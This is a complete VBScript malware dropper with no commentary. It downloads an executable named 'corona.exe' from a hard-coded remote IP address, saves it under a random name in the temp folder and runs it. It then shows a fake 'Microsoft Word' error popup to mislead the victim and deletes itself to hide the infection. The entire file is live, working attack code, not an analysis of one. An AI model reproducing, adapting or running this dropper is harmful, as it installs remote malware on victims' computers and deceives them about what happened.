on error resume next
set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Path = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\Facebook.url"
set oUrlLink = WshShell.CreateShortcut(Path)
oUrlLink.TargetPath = "https://facebook.com"
oUrlLink.Save(S)
if  (FSO.FileExists(Path))  Then
WScript.Echo "Error!"
else
Dim xml,ws,db,filepath,URL
xml = "MSXML2.ServerXMLHTTP.3.0"
ws = "WScript.Shell"
db = "Adodb.Stream"
Set wshs = createobject(ws)
filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\HhKFW.exe"
URL = "http://185.62.188.204/hunt/post/corona.exe"
end if

Call prog
 sub prog
    dim msxml: Set msxml = createobject(xml)
    dim stream: Set stream = createobject(db)
    msxml.Open "GET", URL, False
        msxml.SetRequestHeader "User-Agent", "vkTSNOQeMcMuTaPWpQtJYbp"
        msxml.Send
    with stream
      .type = 1
      .open
      .write msxml.responseBody
      .savetofile filepath, 2
        end with
 wshs.Exec(filepath)
 end sub
 wshs.Popup "Error: File is broken", 0, "Microsoft Word", 0 + 48
FSO.GetFile(WScript.ScriptFullName).delete